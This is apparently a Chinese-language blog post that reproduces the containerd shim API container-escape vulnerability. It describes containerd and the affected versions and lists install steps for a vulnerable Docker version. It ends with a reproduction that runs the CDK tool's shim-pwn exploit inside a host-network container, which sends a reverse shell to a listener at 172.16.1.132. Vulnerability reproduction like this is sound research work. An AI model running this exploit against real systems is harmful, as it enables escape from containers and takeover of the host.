发布于2022年11月4日3年前 Docker容器逃逸漏洞复现 0x00简介containerd是容器虚拟化技术,从docker中剥离出来,形成开放容器接口(OCI)标准的一部分。docker对容器的管理和操作基本都是通过containerd完成的。Containerd 是一个工业级标准的容器运行时,它强调简单性、健壮性和可移植性。Containerd 可以在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。Containerd 负责干下面这些事情:•管理容器的生命周期(从创建容器到销毁容器)•拉取/推送容器镜像•存储管理(管理镜像及容器数据的存储)•调用 runC 运行容器(与 runC 等容器运行时交互)•管理容器网络接口及网络0x01漏洞概述containerd在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。0x02影响范围containerd < 1.4.3containerd < 1.3.90x03环境搭建docker安装后containerd默认已安装,所以这里直接安装docker环境:Ubuntu16.041.更新apt 包索引sudo apt-get update2.安装 apt 依赖包,用于通过HTTPS来获取仓库sudo apt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-common3.添加 Docker 的官方 GPG 密钥:curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -4. 使用以下指令设置稳定版仓库sudo add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \$(lsb_release -cs) \stable"4.这里在更新 下apt 包索引5.使用以下命令安装指定版本的dockerapt-cache madison docker-ce6.安装指定版本 //等号后面为版本号sudo apt-get install docker-ce=5:19.03.8~3-0~ubuntu-xenial7.安装完成使用docker version查看版本信息0x04漏洞复现1. 漏洞利用使用github上的poc进行复现poc下载地址:https://github.com/cdk-team/CDK/releases/tag/0.1.62.下载完成后查看虚拟机内核版本,将poc中对应的版本传到虚拟机中3.然后通过--net=host 作为启动参数来运行一个容器注:--net=host以后就不需要再做端口映射了,另外会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id4.把poc拷贝到容器里docker cp cdk_linux_386 容器ID:/tmp5.在kali上使用nc监听,在容器执行poc即可看到kali反弹的shell./cdk_linux_386 run shim-pwn 172.16.1.132 8887
创建帐户或登录后发表意见